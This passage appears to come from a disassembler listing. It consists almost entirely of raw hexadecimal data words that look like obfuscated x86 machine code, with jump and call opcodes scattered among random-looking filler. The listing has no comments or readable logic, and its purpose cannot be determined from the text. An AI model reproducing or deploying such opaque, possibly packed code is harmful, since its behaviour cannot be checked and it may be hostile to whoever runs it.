		dd 4ABD81E0h, 8E91Dh, 0E98D0000h, 0F4352E37h, 0F85760DFh
		dd 81666058h, 66C39ED1h, 9914E781h, 9E95361h, 45000000h
		dd 0DA5571F8h, 57DB0771h, 9E85258h, 80000000h, 0C88E6D9h
		dd 2D39E78Eh, 7E9h, 3AB33D00h, 0A66ECE6Dh, 13E95F58h, 69000000h
		dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0ED80A9C5h
		dd 8E85294h, 23000000h,	0C277AEA8h, 0FCB0834h, 85h, 0E9595B00h
		dd 6, 73AE0CA8h, 0E8FC3884h, 5,	8F5D0B95h, 8B665150h, 0E9595AF8h
		dd 7, 5F9074F9h, 8AD2635Eh, 0C8D681D3h,	0E8563EF2h, 9
		dd 0A633F7CEh, 416DBFEBh, 0CE986h, 0EFFA0000h, 0C7A2BD0h
		dd 25D784E0h, 0FC59919Dh, 66C0BF0Fh, 0F21E5BBh,	68Bh, 8C0F00h
		dd 81000000h, 26F3E8CFh, 0B70F6042h, 0D28166D7h, 0E961EAE7h
		dd 14h,	91BF3F0Bh, 0CFDF6987h, 40912E5Bh, 553A4B95h, 0F1CA37D5h
		dd 0FC9F5FBAh, 0FF78A3Ah, 382h,	0F9BF0F00h, 5BC38B56h
		dd 66BEB5F5h, 0F97C36BFh, 0FD1B70Fh, 58Dh, 0C2816600h
		dd 0C7814674h, 6F3FA72Fh, 0BE9h, 0C991A900h, 3BDB7BDEh
		dd 0FC4FC81Eh, 88F0Fh, 8E0F0000h, 2, 0BE665950h, 820FD46Fh
		dd 3, 0E8F2B70Fh, 5, 630227Dh, 0A7B86698h, 0F0815A42h
		dd 194E4561h, 8BD78B66h, 0B6CA80C7h, 0F6CD080h,	138Bh
		dd 0EE900h, 9D540000h, 0B33A114Ah, 0D2E5F8C9h, 45AFA4E4h
		dd 9E77F681h, 8B66711Dh, 0FCF860CBh, 0E850F61h,	60000000h
		dd 890Fh, 8E0F0000h, 0
		dd 0B157B361h, 0BF666031h, 11E83A86h, 5B000000h, 47D953E5h
		dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 132CB966h, 0F560615Bh
		dd 61D78B66h, 2820Fh, 0D88B0000h, 0D313BA66h, 30D828BAh
		dd 12E926h, 0FCEB0000h,	2E8EB5E6h, 8D28BA4Eh, 4AD57650h
		dd 0FCA228D9h, 0BE8h, 0EEEB2700h, 9E073E2Fh, 4084BBB2h
		dd 28D0Fh, 5F500000h, 0E9F18B59h, 8, 980FAC19h,	2BDD4CD4h
		dd 0EE9h, 61AFC000h, 84FA0AA4h,	5927D4A1h, 0E8A3B6F1h
		dd 7, 538E009Ch, 8B5864B8h, 11E95ED9h, 99000000h, 35D23C31h
		dd 0D6C6B080h, 0C2F92816h, 0F8F4296h, 0EE9FCh, 4FCB0000h
		dd 0C265BBD9h, 241F9ECAh, 0A48A4109h, 8BCBBF0Fh, 4840FCBh
		dd 66000000h, 539445B9h, 10E95Bh, 260E0000h, 0F81297AAh
		dd 65139864h, 0BCF6CBEAh, 0E9F51EF8h, 9, 0C1B826BCh, 2808CBF4h
		dd 9CD9818Bh, 6671781Ch, 668940BEh, 531058BBh, 5F2ECE80h
		dd 0BF0FD78Bh, 50DE8AD2h, 5AD3B70Fh, 0BE9h, 7CCC7300h
		dd 76595286h, 446A5D5Ch, 4870Fh, 50570000h, 0EB8A5F5Fh
		dd 0FD9ED081h, 0F38B2553h, 61EF8166h, 0D68B6620h, 0FA8A5260h
		dd 0BA61F559h, 5A258D9Fh, 0F60CF8Bh, 385h, 0C28B6600h
		dd 61E1E380h, 840F60h, 61000000h, 66C6BF0Fh, 840FCE8Bh
		dd 6, 0B4A9D981h, 850F1201h, 3,	0BECE8B66h, 162AF98Eh
		dd 0A4BE80B6h, 80734743h, 0B70FEECEh, 8A0F53C3h, 3, 59ABDC80h
		dd 0ADC5D181h, 12E96E08h, 0EE000000h, 0B63847B9h, 717E6914h
		dd 96037DE3h, 1B621941h, 5BBE66AAh, 0FCF86096h,	6E961h
		dd 0E8560000h, 29C2AAE3h, 84CE8166h, 96BF63h, 0AE90BA7h
		dd 6000000h, 0B8035FEBh, 4DC579B4h, 0C9BF0F13h,	0C3816650h
		dd 0FC5E644Eh, 0CE956h,	14C70000h, 0DEC14248h, 271E80E3h
		dd 0F5FD633h, 0BF0FF2BFh, 50ADB0C7h, 8059F88Ah,	816070E1h
		dd 0A1EB01EFh, 0CDC88141h, 610F26E9h, 0BAEE8166h, 50F9F85Ah
		dd 5E616052h, 0F381665Fh, 14E99BA2h, 98000000h,	0AC0999B4h
		dd 739CB39Fh, 0F574BC12h, 0E78B982Ch, 0F5FBDACh, 820FD3B7h
		dd 0Ch,	6890Fh,	8F0F0000h, 0
		dd 61E1B560h, 26CF8166h, 69BA66FEh, 0C2816665h,	8166B788h
		dd 668174F3h, 0CC7CDE81h, 0DCD91BBFh, 0CE97Ch, 0CB3F0000h
		dd 0F20339F5h, 970C1F36h, 0CB812A94h, 6A3D5244h, 0D860F52h
		dd 0E9000000h, 8, 603BB5D5h, 0C5C3B4CAh, 0C8F0F5Ah, 0F000000h
		dd 681h, 8C0F00h, 66000000h, 66176FBBh,	0B4BDDE81h, 8166F08Bh
		dd 0BE6AC5CFh, 3CB64E9h, 39EE8160h, 6150E880h, 0BA66CB8Bh
		dd 0B70F9133h, 0DF8166CFh, 13E83E6Fh, 0E3000000h, 0DBC0F5E0h
		dd 0C45E060Eh, 0EC6A35DCh, 0B395F859h, 0B70FFC12h, 816659FBh
		dd 66E179F3h, 880FF28Bh, 6, 183BC281h, 0F98B687Fh, 7EEE8166h
		dd 0D7BF0F72h, 81665657h, 5A391EE2h, 0B6D48A5Fh, 2159BF74h
		dd 0E95134B6h, 0Dh, 9940E536h, 0DDEA9F4Dh, 0D52A9569h
		dd 7E95E96h, 62000000h,	99B38AD6h, 0E2810A8Eh, 3624533Ch
		dd 66C88B66h, 3A60EB81h, 917FBAFCh, 0BF0F7D61h,	870FC0h
		dd 0F000000h, 5E9C8B7h,	58000000h, 0AE93DD04h, 7E9h, 0A2B22F00h
		dd 198926Eh, 0DE86060h,	83000000h, 24D08260h, 0FCD3D398h
		dd 5B49178Eh, 0E0BB6658h, 890F6196h, 2,	66616160h, 0A10AEA81h
		dd 52F8C38Bh, 5AB0DE80h, 0E95FB260h, 0Ah, 734AF6Dh, 0FFC6BBE4h
		dd 0F6191B6h, 38Dh, 0A8DA8000h,	0DDB8151h, 5F475D27h, 81F28BF9h
		dd 33172D3h, 0D6BF0F14h, 8B6609B6h, 0DF8166F9h,	0BF0FA26Ah
		dd 0DE9FAh, 0FB6B0000h,	74A41BC4h, 652D2A9Dh, 66BB0804h
		dd 0B0302DB8h, 6890FB8h, 0F000000h, 89h, 38F0F00h, 0F000000h
		dd 0BB66C6B7h, 0FE8B5CDh, 0A5000000h, 94C4D614h, 0F7836DE1h
		dd 0D50A814Eh, 58FC56F6h, 8B66F08Ah, 9E8F3h, 0E2DB0000h
		dd 716CF4E4h, 66E0B901h, 59BF28BEh, 8E0FFB8Bh, 3, 0F8FFBF0Fh
		dd 47C88166h, 46C981C3h, 0F7A5E3Bh, 8B66C0BFh, 0B860FFBh
		dd 0E9000000h, 6, 5372D7CBh, 8160743Ch,	58AC37D2h, 0E861F57Fh
		dd 7, 7BF05BDh,	8194F209h, 173074CBh, 8B665B43h, 8BB3BACBh
		dd 0EE810EFh, 2A000000h, 0D5CDBC01h, 8F679BDFh,	7A86D45Ah
		dd 0CDDA8159h, 5E7E5F4Fh, 0E9FBB70Fh, 9, 0F57F720Bh, 969871C5h
		dd 0E38157B8h, 4D5C25C3h, 0EABE6658h, 0DA80604Fh, 0F61FC29h
		dd 587h, 0D2816600h, 0E950C1ACh, 8, 17B68DDEh, 72018841h
		dd 13E95Fh, 2B60000h, 0CDB17908h, 0A413A9F8h, 10C7D3ECh
		dd 0D2A96979h, 5E8E0h, 13140000h, 0E8F06061h, 8, 705CDB7Eh
		dd 0A8BF401Bh, 58586160h, 0B2EF8166h, 0CFBF0FC1h, 0E8DF8B66h
		dd 10h,	0A27AF930h, 3FE1F626h, 5C6BCB35h, 0A15C3A20h, 0E9D08A5Fh
		dd 0Bh,	0F1DE1F38h, 4119EE0Dh, 8B9F31BAh, 0AE9CFh, 5DBA0000h
		dd 794C30E8h, 6EF24B6Dh, 81442EBAh, 7DB4FC48h, 260DD381h
		dd 830F504Ch, 1, 0C8B70FF8h, 0B1BFDD80h, 8BBBB3B5h, 816057C6h
		dd 94E11C3h, 61FA8B31h,	4BD28058h, 62C04BFh, 0D6F28162h
		dd 0F494C10h, 870FFABFh, 15h, 10E9h, 0B7297700h, 968BD9BFh
		dd 51FC2CD9h, 25624BFDh, 0B70F577Ah, 8E95FD6h, 0A000000h
		dd 1191C19Fh, 0BBB00397h, 6C3E167Ah, 0B9D28166h, 0F3BF0FA8h
		dd 12E9h, 43E6E200h, 0EDE664CEh, 10DA6AB3h, 1BA56B12h
		dd 602D0F67h, 0E9D0B70Fh, 13h, 3D51BCC5h, 0A7DE880h, 0A51D68D9h
		dd 0F8A1401Dh, 617C6F0Dh, 8D0FD08Bh, 3,	66F7BF0Fh, 8B66F28Bh
		dd 37BE66D1h, 68F0FDCh,	81000000h, 7B52C0CBh, 22BBF95Fh
		dd 0BE2E4244h, 40DEE37Ah, 0DE9h, 0AD656C00h, 71B3E298h
		dd 0F97A261Eh, 0BF66A90Ch, 5E9DE98h, 9C000000h,	12D7EB1Eh
		dd 0E565D281h, 0F571D8Eh, 18Bh,	0F58FC00h, 589h, 0D254BA00h
		dd 6E932E4h, 85000000h,	0F4BF3C4Ch, 5E9D9h, 17230000h
		dd 8AE16C84h, 66C38AD1h, 80F9B2BEh, 0B251EADAh,	8166590Ch
		dd 0E95E67D6h, 0Bh, 0E92DE624h,	7FBC4B97h, 661905DFh, 81B534B9h
		dd 1EBD96DBh, 4259BE76h, 0BE85767h, 2A000000h, 2E301A78h
		dd 838DAD98h, 0CF81DAD7h, 48E7941Dh, 0C88B665Bh, 0CE9h
		dd 38420900h, 4911CB6Bh, 0F841678Dh, 6CCA80ADh,	0FDEB70Fh
		dd 0CA8BCBBFh, 63FDF9BFh, 0CF8B663Fh, 0D48AE38Ah, 808CF080h
		dd 820FFBCAh, 1Bh, 14E951h, 62990000h, 0B390989Bh, 0E88FE5BFh
		dd 137C6732h, 6BA6B369h, 665F9B69h, 0E90F3DBAh,	11h, 49C9654h
		dd 10D554A1h, 812647C7h, 0A862F4B2h, 68B0F57h, 0F000000h
		dd 80h,	71BE6600h, 9CBB6640h, 0D9BF0FAEh, 0FC18B66h, 0E9F8D1BFh
		dd 0Eh,	0C11374F2h, 932C2BDh, 32FC3777h, 8B666873h, 0CA8BF9CAh
		dd 0FE9h, 1CA8B100h, 64ED1127h,	77C35E3Fh, 677739C1h, 0DE8h
		dd 1C384D00h, 99996497h, 0A1667E84h, 0E9814B26h, 7A132F08h
		dd 0D18B665Bh, 18F0Fh, 66F80000h, 0DF2FCA81h, 14E8h, 7EF6CD00h
		dd 0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh,	0C98166A9h
		dd 0E95890F5h, 0Dh, 0AB6249DCh,	0E35EDF72h, 2AF2CF00h
		dd 0F0B70FECh, 43DBD381h, 8B0F0384h, 6,	20CACB81h, 816654AEh
		dd 0F713AD8h, 18Ah, 0C281F500h,	134D429Bh, 0BF72C2BFh
		dd 0C61DB936h, 0FE8B5F12h, 94DF8166h, 0BDE18025h, 0E681E28Ah
		dd 7894A45h, 51FEB70Fh,	12E85EF9h, 5000000h, 2B8CC93Fh
		dd 0EF1BAD26h, 8860C9ABh, 8D1F3D76h, 5810F6Dh, 66000000h
		dd 6FA6F681h, 0BF0F605Fh, 48F0FC6h, 66000000h, 61B88FB9h
		dd 1EF18166h, 0E381664Ch, 8B664177h, 8E0FD1h, 0F000000h
		dd 0C8Fh, 5E95600h, 8000000h, 89412687h, 38A0F58h, 0F000000h
		dd 0E4B9FABFh, 8017E8D7h, 5E92CC5h, 9D000000h, 0F685232Eh
		dd 0BE9h, 2C26D00h, 1BE2B09Ch, 265FB2Ah, 806ADF80h, 816656C9h
		dd 0E81EB4F2h, 0Eh, 84A7B252h, 1ACB1E7Ch, 0AEBD3541h, 0B65E7D32h
		dd 6E9ECh, 20420000h, 165E48E0h, 14E9F9h, 0BB350000h, 9B8C9911h
		dd 0B8F37412h, 254D6F84h, 1AC4CC5Bh, 8B60B264h,	0FE9D8h
		dd 0DD6B0000h, 0A8A96FE0h, 1083AE4h, 1D511CF2h,	42BE6154h
		dd 0F3E410Fh, 1587h, 800F6000h,	0
		dd 8E9h, 0F917700h, 294055B7h, 0F78B613Ah, 0DA8B6660h
		dd 61EC8A60h, 0BDB96661h, 0BBE381B2h, 5051D9F1h, 0F616060h
		dd 5961C1B7h, 13E9h, 6C532200h,	46DF6AC6h, 2BA31E64h, 0E03B352Fh
		dd 0C45D7E9Dh, 850F6060h, 0
		dd 13E8h, 0FB2F5100h, 73A60B88h, 1D0E001Ch, 111786FBh
		dd 3F4A8BFDh, 0DE96159h, 0E5000000h, 0F58D17A2h, 51D85A4Bh
		dd 0B168CD21h, 0D2B70F61h, 0A830Fh, 8B0F0000h, 4, 0C199BB66h
		dd 13E95E56h, 5C000000h, 19763CB5h, 80415F39h, 0F1B7FBCCh
		dd 0AE441AA4h, 0E957C49Bh, 8, 75735510h, 0F1E1F080h, 0AE9FC59h
		dd 0F1000000h, 20E6C1BAh, 0CC2D5BA4h, 880FF576h, 0Ch, 6810Fh
		dd 8E0F0000h, 0
		dd 700FC681h, 8B665F5Fh, 0C28166D6h, 8B660131h,	0F967B0DFh
		dd 0E3DF8166h, 0BE9D6h,	0C8CF0000h, 8E2FBEC6h, 113DE840h
		dd 8C0FF9CBh, 6, 0A7F2D881h, 0FC60266Ch, 14BE61FCh, 66281951h
		dd 8B66FB8Bh, 0F81FB2CFh, 10E8h, 4E90DD00h, 0AF7FCCC4h
		dd 8083E8F6h, 0EB6B18FEh, 60F55AC2h, 13E9h, 25537100h
		dd 0D6D1E501h, 5AFD06FFh, 0A568B15Ah, 0DB39DDBAh, 0DFB70F61h
		dd 6618EC80h, 7F63C181h, 8C98166h, 0EB81667Ch, 8D0FF5DEh
		dd 5, 6CCE8166h, 0F1B70FD8h, 12E9h, 3A3B7700h, 553C4225h
		dd 34E372C7h, 1A0B9CABh, 0E8510C01h, 9,	0FA7D98DEh, 0FC58A85Dh
		dd 0FA8B66DDh, 9DF28158h, 0BF41B7B8h, 125751E3h, 2FA6BE66h
		dd 47CBA66h, 5FF78A51h,	0F862F180h, 0C668BDB9h,	0F38B665Bh
		dd 0EB60F281h, 0FB8B72CBh, 0B32BBF60h, 8B603F4Ah, 6161F9D8h
		dd 90CA8166h, 0F7B70FAEh, 60CE8160h, 0F41B9A7h,	686h, 8C0F00h
		dd 61000000h, 0BF0FF9F8h, 860F50D1h, 3,	5BBCE280h, 8E9FCF9h
		dd 48000000h, 8701B78Bh, 0F77EA99h, 386h, 0C28B6600h, 0B233E180h
		dd 0D0BF0F77h, 8A0FF88Bh, 0
aRflATs		db 'Rf‹Ú[€Åâé',7,0
		align 10h
		dd 0A344E500h, 0FF5A9089h, 10E926B4h, 0C2000000h, 0D3EE8780h
		dd 583A14A9h, 0CDEA0FEh, 815E9104h, 39811BE1h, 6800F24h
		dd 81000000h, 0FBA3A4CAh, 0FEFB409h, 1C89h, 10E800h, 9C6B0000h
		dd 4477D0CBh, 76A614B5h, 9DB26053h, 0E0817548h,	2FBA4AD7h
		dd 8870F5Bh, 0F000000h,	285h, 60585000h, 0EE9h,	0C77D3F00h
		dd 21C15EAh, 30F3D66h, 0E8C09768h, 14h,	0C29228A9h, 85EC3681h
		dd 198A1479h, 0B03CAF25h, 0B0CC67C2h, 3EDE8166h, 66615904h
		dd 0B966F08Bh, 9E9BDD2h, 50000000h, 0DFE7C477h,	5BD3C0BDh
		dd 5E9h, 16753100h, 8F0F17CDh, 0
		dd 28C0Fh, 13B00000h, 0FE4EBA66h, 0A1C38166h, 56CB8129h
		dd 0F3A206Ch, 488h, 80B96600h, 0CE9F5h,	0EEC80000h, 0B5EC866Eh
		dd 0CF5B1ECCh, 0BF0FEA27h, 0BF0F60FFh, 12C681CFh, 613BC3B9h
		dd 7E9h, 2C033300h, 2086EAEEh, 2CD18166h, 5ABF6685h, 0B7B96632h
		dd 8A0FF812h, 9, 38F0Fh, 0BF0F0000h, 9C280CBh, 0DE9h, 61A4B600h
		dd 0EDB43C13h, 247C8A89h, 27BF8194h, 81792FE1h,	2A401CEh
		dd 3DB9F853h, 0E9215EFAh, 12h, 0B75D83F3h, 0F81B4893h
		dd 62702DF7h, 0C649E80Ch, 12E8A26Dh, 0A6000000h, 3E9F81BDh
		dd 0B85C23F7h, 0CE4F2AA7h, 6DEED9B8h, 0C281593Ah, 616907D1h
		dd 0DA80F960h, 0B70F610Eh, 0D98166C6h, 8B0FB3A3h, 2, 0DE9E78Ah
		dd 6E000000h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh, 0EE8h
		dd 2C1B8C00h, 0F6A37B46h, 1E4F7A44h, 66CC2434h,	0B25EF28Bh
		dd 2DBB66D4h, 0B70F6045h, 8E9DAh, 0B1250000h, 869EB3C1h
		dd 0F61D49Ch, 1986h, 14E900h, 306B0000h, 18DAE269h, 0CAE9B687h
		dd 0A2A5E073h, 31C5B557h, 0CC8A21B0h, 0DF80EE8Ah, 0B96660A7h
		dd 810FFA89h, 14h, 0FE9h, 252CD000h, 0CAF06344h, 89898A24h
		dd 4DD2440Eh, 2EB96661h, 138E0F51h, 0E8000000h,	0Bh, 92A91B8h
		dd 3FFF91Fh, 0B4653618h, 816659AFh, 0E845B8C1h,	7, 9D1F4D19h
		dd 5F116E93h, 541B6AB9h, 4A0DB823h, 0D88A6AD3h,	4800Fh
		dd 60500000h, 0CE8B5E61h, 0C38027B3h, 0DE82Fh, 17700000h
		dd 4C8C3C4Bh, 0D9593F95h, 0FEB96DDh, 48Ch, 0DAB96600h
		dd 0B96658A1h, 8E0FB7E8h, 12h, 0DE9h, 706C0500h, 55D47F8Bh
		dd 9676C34Fh, 8E9AADEh,	20000000h, 52FBBFBh, 56953529h
		dd 7406BB66h, 0D4D48059h, 0CE9h, 65C5A100h, 0C6EED06Ch
		dd 0AE64D6F4h, 8F0FFCFBh, 0Dh, 1C2B860h, 820F1020h, 0
		dd 8BDE8B61h, 0FCF8BD1h, 1A85h,	12E800h, 0D12B0000h, 6D87557Ch
		dd 6EC09D9h, 3C74251Ch,	629BBC07h, 665FFA8Bh, 661BC4BEh
		dd 0BB1DB3BBh, 642FE2FAh, 0BE9h, 0B6F6F500h, 519E440Ah
		dd 3A850F4Fh, 0E8D08B66h, 12h, 0E2309E55h, 0A65E189Bh
		dd 0F1F513E8h, 6D78F1Ah, 8166FB85h, 5E319FE0h, 0BC78166h
		dd 0DE8B66B8h, 0FCB8C380h, 6E8h, 0A88EC700h, 8B92D253h
		dd 816659D3h, 0E92765C8h, 14h, 8A3B2716h, 0F63C3566h, 0D487162Fh
		dd 0FBCB253Dh, 0F2AE7D64h, 6B657F8h, 0DE958h, 0A5130000h
		dd 672B9BF3h, 0F00E3DDFh, 0E90162CFh, 0Bh, 31677D9Fh, 0B3156BA2h
		dd 0E8BC2B92h, 5, 0ABDF6576h, 7E959h, 0AD170000h, 2272F442h
		dd 81F85A9Fh, 0E01FDBF3h, 1860F19h, 0F5000000h,	8D0Fh
		dd 13E80000h, 0E4000000h, 73E80600h, 4C62301Eh,	871A7913h
		dd 9D7A02A8h, 23BE3900h, 595D2BCAh, 11E9h, 45764000h, 86228382h
		dd 97064928h, 3D68F9DEh, 80B2F591h, 0E9EAE180h,	7, 871B05D1h
		dd 60911183h, 0E9FBC880h, 14h, 0A6573C5h, 0D018CDD1h, 0E86BD79Ah
		dd 354A59BEh, 0CCED0968h, 11E961h, 8A0B0000h, 0A0DB22D6h
		dd 0DB4BD4D5h, 3E19F5ABh, 81D2CC49h, 0AC0081EAh, 22B9661Dh
		dd 0C281602Dh, 129AA7A3h, 5E8h,	6A2F5A00h, 800F0C7Eh, 0
		dd 0F580615Bh, 3860FAFh, 0F000000h, 0B0BAD6B7h,	8A4BA48Eh
		dd 52F98BEAh, 0EE8h, 13CDDA00h,	0D12E9B48h, 3EDDB169h
		dd 81DE8E25h, 0FC8739C8h, 8A585A10h, 5E8DCh, 7A7E0000h
		dd 5879DBE1h, 4399BA66h, 1C8A0Fh, 11E80000h, 0A2000000h
		dd 0E13B14F8h, 0AC177BCAh, 0A607B0Dh, 37651E4Eh, 8504B1BEh
		dd 1BB05F2Dh, 10E9h, 17EAB900h,	85C50105h, 498AE438h, 72C8AB10h
		dd 17DC80AEh, 18850Fh, 0E8510000h, 10h,	0DD39B753h, 1F48A7B6h
		dd 41868D2Eh, 12D2D3E9h, 820F5959h, 6, 687ACF81h, 0C1817C28h
		dd 60447F45h, 0FE96AB4h, 0E2000000h, 0A05237EDh, 0E4A0C4A2h
		dd 8D40D9B2h, 0D18BE9F8h, 28F0Fh, 26B70000h, 95D68150h
		dd 5B45E36Eh, 58E0Fh, 81660000h, 666AE3EEh, 800CF0BBh
		dd 0DF802CD9h, 0FCEE8AB3h, 0CE850h, 0A91B0000h,	5AAA0B8Ch
		dd 0A7A8D2A1h, 61B9149Ah, 5E60D762h, 0C3B70F5Fh, 1B22D981h
		dd 870F7136h, 18h, 0BE860h, 22DF0000h, 0ED18204Ah, 825DC465h
		dd 39BB5BABh, 617414F3h, 0D4B0E981h, 0F505417h,	28Bh, 59616000h
		dd 88B76057h, 61DE8B66h, 88E0F5Fh, 50000000h, 870Fh, 0F5B0000h
		dd 481h, 47BF6600h, 0BE951E9h, 0C9000000h, 75201DC5h, 0B6AE793Fh
		dd 665E2BF2h, 7F07C381h, 38B0F51h, 66000000h, 665AC28Bh
		dd 0D981DE8Bh, 47F5212h, 0FF1B70Fh, 485h, 4AB15300h, 11E85Bh
		dd 0A6400000h, 5BC517AAh, 0EBFFD1ACh, 0BF21D3A6h, 66660983h
		dd 4221C781h, 0F281665Bh, 97B9FA12h, 0B4572524h, 61BE66ADh
		dd 8E9BEh, 0CC280000h, 0A917EEE3h, 840F0120h, 3, 663AE280h
		dd 0F824D0BAh, 0AB709FB9h, 99BE667Bh, 0F8F18B9Eh, 0BFA7ADBBh
		dd 0DE961h, 0A9B40000h,	0D7B05777h, 24E94841h, 6644A9A3h
		dd 0F13D1BBh, 489h, 0DEBB6600h,	0F0816698h, 860F32DAh
		dd 0Bh,	6E9h, 4F479600h, 66D0F7A5h, 5B94E381h, 8E9h, 1BEDDE00h
		dd 280E652Fh, 0F85E5781h, 0FE8h, 738EE00h, 904882A8h, 72581C3h
		dd 536E654Fh, 5F36E280h, 0AE8h,	0DD133000h, 5E4E4AD8h
		dd 0BE311D1Ch, 35F12F40h, 2880F5Eh, 8B000000h, 11840FCAh
		dd 0E8000000h, 5, 0BEB2733Ch, 810F63h, 5B000000h, 6BD3C381h
		dd 0BA663374h, 830F428Ch, 0
		dd 59F28B56h, 57DFB70Fh, 5BFAB70Fh, 7860Fh, 8C0F0000h
		dd 1, 6611B0F8h, 8166C18Bh, 66DBB3D1h, 0B866D88Bh, 81663263h
		dd 81C3C0E2h, 60FAC0C1h, 54F18128h, 0B70C7D90h,	14E9A5h
		dd 4D060000h, 6058BC56h, 82BF1A01h, 7D845645h, 0DCB1668Eh
		dd 11E85790h, 49000000h, 0EEA11E32h, 7663CC5h, 7CE55A36h
		dd 8B9500E9h, 0C6BB6660h, 8A0FEAh, 61000000h, 0BE60FC5Fh
		dd 2FEE4F96h, 88F08166h, 66F96193h, 0F6A28BBh, 1A8Eh, 13E800h
		dd 62440000h, 1DA7F198h, 0D61C29DAh, 8D38449Ch,	8720FFE0h
		dd 0E85EF84Eh, 11h, 67AE58CAh, 4416DAE8h, 416CE41Ah, 0A5BF7397h
		dd 0B880FE7h, 0E9000000h, 6, 1678B684h,	6058A40Ah, 6E8h
		dd 3BB11F00h, 56AAB1ACh, 0E8615E5Ah, 0Ah, 0BEB437BFh, 7D5E50Dh
		dd 820FDB3Fh, 3, 58F08B66h, 8E9h, 91D89A00h, 43298BCAh
		dd 0D381667Bh, 53F9A3A1h, 12E8h, 9E4A0800h, 0E614759Fh
		dd 0BD9B4DDDh, 0C1833724h, 6624BE0Dh, 3F6BE281h, 0CE9595Fh
		dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 81E8FB4Fh,	0FAD442C7h
		dd 0C7816637h, 0EE8A3363h, 0DCD08053h, 0F5D98A58h, 8B0FFEB7h
		dd 0Fh,	0AE9h, 0A83A8400h, 0E1A9265Fh, 0E9B8F568h, 6, 6361541Dh
		dd 0E380073Fh, 11E92Ch,	0B03A0000h, 211216B0h, 0DFB7C948h
		dd 0EFB6954Dh, 0E8E2EF9Ch, 6, 7D9F1637h, 0DE813167h, 55CB6525h
		dd 0F0816658h, 0D88B2199h, 0FCE8B66h, 888h, 800F5200h
		dd 0
		dd 66C38A5Eh, 21CDE281h, 6E891B3h, 24000000h, 0E6B70A9Bh
		dd 8BC881CEh, 59325A10h, 4FA3BB66h, 0D695D681h,	0B966472Bh
		dd 8166835Eh, 816594C2h, 378EF6DEh, 0D18B6627h,	2800Fh
		dd 0D78B0000h, 0C7818DB3h, 7B1B619Dh, 13E8h, 6B99F600h
		dd 869CF85Ah, 0BB1EAC72h, 84172320h, 1BD5E16Ch,	0E85F85B1h
		dd 0Bh,	42F31683h, 0CA7D280Ah, 0E9D9078Fh, 0Dh,	0CDEA0FEh
		dd 7D5E9104h, 0B090FF10h, 0E9FC5836h, 11h, 8E76AB46h, 5F4DD9A9h
		dd 95A5A5F5h, 812A595Eh, 58FC53CEh, 0E9E7C680h,	10h, 0C44E90DDh
		dd 0F6AF7FCCh, 0FE8083E8h, 0C2EB6B18h, 0FE9h, 0C0529700h
		dd 9ACB9E5Eh, 0C8FC970h, 952ED7E7h, 0CE9FCh, 0A7DB0000h
		dd 6263EED7h, 3977ABCDh, 14E80C1Dh, 0D3000000h,	0D0ACAC28h
		dd 292FAFAEh, 347BB15Fh, 10E73F03h, 66C2A459h, 58A823BEh
		dd 99B9BF60h, 0BB6604F3h, 57610D61h, 7E8h, 9DF4E300h, 0EB37FCAAh
		dd 3178BE66h, 5E85859h,	21000000h, 3E517F2Eh, 8166F85Bh
		dd 0E9CEB8C0h, 0Ah, 71F3710h, 3350F0A9h, 0F08B7B29h, 5692C181h
		dd 0E38033CDh, 0D18B66EBh, 0BEFB8BF8h, 513A0318h, 870FFE8Bh
		dd 0
		dd 58A0Fh, 81660000h, 815ABAF6h, 34DAD0F3h, 33FFBB08h
		dd 0AE8044Dh, 7D000000h, 27265515h, 36162C4Bh, 0DBF0815Bh
		dd 5F1724AAh, 800FD78Bh, 5, 48C08166h, 0BF0F563Bh, 0E95059F1h
		dd 11h,	0A609C3D8h, 79BE0891h, 7AA9815Fh, 0C99727F2h, 0E0815B94h
		dd 781658E6h, 0CC3127BAh, 0FFE8A74h, 6E9C2B7h, 7A000000h
		dd 69C073AAh, 0E9C28A52h, 0Dh, 73B6C16Ah, 6763C9ACh, 8BB8647h
		dd 88D080B8h, 603FCD80h, 7259DF81h, 870F6E1Ch, 6, 8C0Fh
		dd 60610000h, 60FEE580h, 61614AB4h, 96D480F8h, 810FF78Bh
		dd 5, 0F5E68166h, 60CF8B71h, 3B49C881h,	0DE8075C6h, 11E8614Dh
		dd 80000000h, 1704291h,	0D122648Ah, 45531115h, 0FF13EADDh
		dd 58E3DD80h, 0FD18B66h, 680h, 0F1CB8100h, 664792BAh, 0BA66FB8Bh
		dd 0BF0F6EE4h, 690AB9D6h, 66507140h, 665EFB8Bh,	0E82D42BEh
		dd 11h,	0C7719A72h, 316313EEh, 7E96D646h, 824C6380h, 66BB6684h
		dd 0E9F85F7Ah, 7, 0D1D78072h, 0F5A1E670h, 0AE960h, 0CFA00000h
		dd 20640012h, 0E6505DB2h, 0BE9h, 0F483FC00h, 4C44F0FDh
		dd 0E0F099ADh, 0C0BF0F61h, 66B2E580h, 0E79AC781h, 11E8h
		dd 57412C00h, 0A36491CAh, 0B8AE2369h, 114CE839h, 0DE91F44h
		dd 3C000000h, 209FE34Bh, 5AFFFA67h, 0BF28ACE4h,	10E958h
		dd 57530000h, 0F4EAC41Ch, 6786CB5Ah, 0B5D2BC70h, 0ACBA94D2h
		dd 816A5A5Eh, 0C36604F1h, 2BF6670h, 8280BBAEh, 890F0A5Ah
		dd 11h,	0CE9h, 0A77A6C00h, 829B1C5Ch, 9C947189h, 4FBA6682h
		dd 9F38109h, 8B3E422Eh,	0F5B56C1h, 0F53F0BFh, 0BE5ED7BFh
		dd 57182536h, 8880Fh, 860F0000h, 2, 28BBC68Bh, 0BF69C5FEh
		dd 4C2FD70Bh, 39CBE66h,	12E9h, 822E7A00h, 4C75C79Eh, 4663320Ch
		dd 0E42EC420h, 57170830h, 0AABB5FF8h, 81011004h, 4B02DEDBh
		dd 96B8601Eh, 0B97AC4C9h, 22DAE184h, 8D0F6061h,	0Ch, 7E9h
		dd 0FB828D00h, 0FEFBF5Dh, 14D88166h, 11E9616Ah,	21000000h
		dd 0FB09AEC2h, 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h, 8D0Fh
		dd 0DE810000h, 7DB0BB04h, 81D1B70Fh, 8350D1CEh,	0CB816668h
		dd 0F28B6C02h, 17820Fh,	12E90000h, 19000000h, 572F3DC6h
		dd 260F9A18h, 7538DCD9h, 6FFBE447h, 0CE85Ah, 0F1D50000h
